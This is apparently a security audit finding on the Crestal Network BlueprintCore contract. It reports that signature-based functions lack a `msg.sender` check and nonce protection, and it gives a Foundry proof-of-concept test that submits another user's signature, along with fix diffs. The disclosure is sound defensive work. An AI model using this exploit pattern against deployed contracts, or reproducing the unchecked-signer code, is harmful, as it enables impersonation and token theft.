Tart Paisley Cow

High

# Unauthorized Signature Usage in Functions with `WithSig`

### Summary

The lack of verification between the signer address and `msg.sender` in functions using `WithSig` allows an attacker to create projects and execute transactions on behalf of other users. This can lead to unauthorized token spending, and project modifications.


### Root Cause

In multiple functions, including:  
- [`createAgentWithTokenWithSig`  ](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L491)
- [ `createAgentWithWhitelistUsersWithSig`  ](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L540)
- [`createAgentWithSigWithNFT`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L540)  
- [`updateWorkerDeploymentConfigWithSig`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L672)  
- [`createProjectIDAndProposalRequestWithSig`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L265)  
- [ `createProjectIDAndDeploymentRequestWithSig`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L400)  

The contract derives the signerâ€™s address from the provided signature using `getSignerAddress`. However:  
1. It **does not verify** that `msg.sender` matches the recovered signer address.  
2. It **only checks** that the recovered address is different from `address(0)`, meaning **any valid signature is accepted**, regardless of who submits it.  
3. All subsequent functions directly use the address obtained from `getSignerAddress` without further verification.
https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/EIP712.sol#L47  



### Internal Pre-conditions

1. A valid signature must exist
2. The user must have approved token spending (for token-related actions)
3. No nonce or replay protection is implemented, making it possible to reuse old signatures

### External Pre-conditions

1. The attacker must have access to a previously signed message or generate one externally.  
2. The victim must have previously approved token spending (if applicable).  

### Attack Path

1. The attacker obtains a valid signature from a legitimate user.  
2. The attacker calls any of the `WithSig` functions using the valid signature.  
3. The contract accepts the signature and executes the action, using the signer's identity without verifying `msg.sender`.  
4. Depending on the function called, the attacker may:  
   - Spend the victim's tokens (if approved).  
   - Whitelist themselves in restricted lists.  
   - Register projects under another user's identity.  
   - Modify deployment configurations.  

### Impact

- **Token Loss:** If the victim has approved token spending, an attacker could use their tokens.  
- **Project Hijacking:** The attacker could create or modify projects under another user's identity.  
- **Reputation Damage:** Since actions are linked to the signer address, a victim could be held accountable for unauthorized transactions.  


### PoC

This is a basic test case where Alice uses any signature (Bob's in this case) and calls `createAgentWithTokenWithSig`

```solidity
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "forge-std/console2.sol";
import "forge-std/console.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";
import {BlueprintCore} from "../src/BlueprintCore.sol";
import {Blueprint} from "../src/Blueprint.sol";
import {stdError} from "forge-std/StdError.sol";
import {MockERC20} from "./MockERC20.sol";

contract SignatureTest is Test {
    BlueprintV5 public blueprint;
    MockERC20 public mockToken;
    bytes32 public projectId;
    address public workerAddress;
    address public dummyAddress;

    function setUp() public {
        blueprint = new BlueprintV5();
        blueprint.initialize(); // mimic upgradeable contract deploy behavior

        mockToken = new MockERC20();

        // set crestal wallet address
        blueprint.setFeeCollectionWalletAddress(address(0x7D8be0Dd8915E3511fFDDABDD631812be824f578));

        projectId = bytes32(0x2723a34e38d0f0aa09ce626f00aa23c0464b52c75516cf3203cc4c9afeaf2980);
        workerAddress = address(0x4d6585D89F889F29f77fd7Dd71864269BA1B31df);
        dummyAddress = address(0);
    }

    function test_checkSignnature() public {
        string memory base64Proposal = "test base64 proposal";
        string memory serverURL = "http://example.com";

        (address aliceAddr, uint256 alicePK) = makeAddrAndKey("alice");
        (address bobAddr, uint256 bobPK) = makeAddrAndKey("bob");

        (bytes memory signatureAlice, address retrAliceAddress) = generateSignatureWithPK(projectId, base64Proposal, serverURL,alicePK);
        (bytes memory signatureBob,) = generateSignatureWithPK(projectId, base64Proposal, serverURL,bobPK);
        assertEq(aliceAddr, retrAliceAddress);
        console.log("Alicie intial: ",aliceAddr );
        console.log("Alice retrived:", retrAliceAddress);


        // Generate the signature
        (bytes memory signature, address signerAddress) = generateSignature(projectId, base64Proposal, serverURL);
        console.log("Signer address: ", signerAddress);

        // Add the payment address
        blueprint.addPaymentAddress(address(mockToken));

        // set zero cost for create agents, use any number less than 0
        blueprint.setCreateAgentTokenCost(address(mockToken), 0);

        
        uint256 validTokenAmount = 100 * 10 ** 18;
        // Mint tokens to the test account
        mockToken.mint(aliceAddr, validTokenAmount);


        vm.startPrank(aliceAddr);
        // Approve the blueprint contract to spend tokens
        mockToken.approve(address(blueprint), validTokenAmount);
        // Create agent with token
        blueprint.createAgentWithTokenWithSig(
            projectId, base64Proposal, workerAddress, serverURL, address(mockToken), signatureBob
        );

        bytes32 latestProjId = blueprint.getLatestUserProjectID(bobAddr);
        assertEq(projectId, latestProjId);

    }

    function generateSignatureWithPK(bytes32 _projectId, string memory _base64Proposal, string memory _serverURL,uint256 privateKey)
        internal
        view
        returns (bytes memory, address)
    {
        bytes32 digest = blueprint.getRequestDeploymentDigest(_projectId, _base64Proposal, _serverURL);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, digest);
        return (abi.encodePacked(r, s, v), vm.addr(privateKey));
    }

    function generateSignature(bytes32 _projectId, string memory _base64Proposal, string memory _serverURL)
        internal
        view
        returns (bytes memory, address)
    {
        bytes32 digest = blueprint.getRequestDeploymentDigest(_projectId, _base64Proposal, _serverURL);
        uint256 signerPrivateKey = 0xA11CE;
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, digest);
        return (abi.encodePacked(r, s, v), vm.addr(0xA11CE));
    }



}


```

### Mitigation

1. **Enforce `msg.sender` verification:** Ensure `msg.sender` matches the signer address before executing actions.  
2. **Implement a nonce system:** Prevent signature replay attacks by requiring unique nonces per transaction.  
3. **Require explicit user approval:** Add an explicit confirmation step before executing token or NFT-related operations.  

### Partial Mitigation

As a minimum safeguard, the contract should verify that `msg.sender` matches the address recovered from the signature with `EIP712:getSignerAddress`. This would prevent unauthorized users from executing functions using someone else's signature.

```diff
    function createAgentWithTokenWithSig(
        bytes32 projectId,
        string memory base64Proposal,
        address privateWorkerAddress,
        string memory serverURL,
        address tokenAddress,
        bytes memory signature
    ) public returns (bytes32 requestID) {
        require(tokenAddress != address(0), "Token address is empty");

        // get EIP712 hash digest
        bytes32 digest = getRequestDeploymentDigest(projectId, base64Proposal, serverURL);

        // get signer address
        address signerAddr = getSignerAddress(digest, signature);
+        require(signerAddr == msg.sender, "SIGNATURE NOT FROM SENDER");

        requestID = createAgent(signerAddr, projectId, base64Proposal, privateWorkerAddress, serverURL, 0, tokenAddress);
    }

```

```diff
    function createAgentWithWhitelistUsersWithSig(
        bytes32 projectId,
        string memory base64Proposal,
        address privateWorkerAddress,
        string memory serverURL,
        uint256 tokenId,
        bytes memory signature
    ) public returns (bytes32 requestID) {
        // get EIP712 hash digest
        bytes32 digest = getRequestDeploymentDigest(projectId, base64Proposal, serverURL);

        // get signer address
        address signerAddr = getSignerAddress(digest, signature);
+        require(signerAddr == msg.sender, "SIGNATURE NOT FROM SENDER");
      code...

```
for:
- `createAgentWithTokenWithSig`  
- `createAgentWithWhitelistUsersWithSig`  
- `createAgentWithSigWithNFT`  
- `updateWorkerDeploymentConfigWithSig`  
- `createProjectIDAndProposalRequestWithSig`  
- `createProjectIDAndDeploymentRequestWithSig`  
